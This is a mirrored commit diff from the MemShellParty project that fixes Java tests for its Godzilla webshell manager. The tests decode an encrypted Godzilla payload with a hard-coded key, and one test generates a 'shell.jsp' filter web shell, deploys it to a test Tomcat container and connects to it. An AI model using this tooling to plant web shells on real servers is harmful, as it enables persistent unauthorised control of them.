mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 23:11:52 +08:00
fix: godzilla manager test failed
This commit is contained in:
@@ -3,6 +3,8 @@ package com.reajason.javaweb.godzilla;
|
||||
import com.reajason.javaweb.util.ClassUtils;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
|
||||
/**
|
||||
@@ -18,4 +20,12 @@ class GodzillaManagerTest {
|
||||
System.out.println(o.getClass().getName());
|
||||
assertNotNull(o);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testRestorePayload(){
|
||||
String payload = "k2qs7l3%2F4ZZaGyyrfpBQGg0dXGM%2BFVFxzmCWLnyFEgoPSpSjHre4o1HBHTCFnNDX";
|
||||
String key = "d8ea7326e6ec5916";
|
||||
Map<String, String> map = GodzillaManager.restorePayload(key, payload);
|
||||
assertEquals("test", map.get("methodName"));
|
||||
}
|
||||
}
|
||||
+3
-3
@@ -52,8 +52,8 @@ public class TomcatGodzillaIntegrationTest {
|
||||
int port = container.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port + "/app";
|
||||
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
|
||||
.pass("pass").key("key")
|
||||
.headerName("User-Agent").headerValue("test")
|
||||
.pass("pass123").key("key123")
|
||||
.headerName("User-Agent").headerValue("hello_integration_test")
|
||||
.build();
|
||||
String jspContent = generateGodzillaFilterJsp(shellConfig);
|
||||
String filename = "shell.jsp";
|
||||
@@ -99,7 +99,7 @@ public class TomcatGodzillaIntegrationTest {
|
||||
}
|
||||
|
||||
private void testGodzillaIsOk(String entrypoint, GodzillaShellConfig shellConfig) {
|
||||
try (GodzillaManager godzillaManager = new GodzillaManager.GodzillaManagerBuilder()
|
||||
try (GodzillaManager godzillaManager = GodzillaManager.builder()
|
||||
.entrypoint(entrypoint)
|
||||
.pass(shellConfig.getPass())
|
||||
.key(shellConfig.getKey())
|
||||
|
||||
Reference in New Issue
Block a user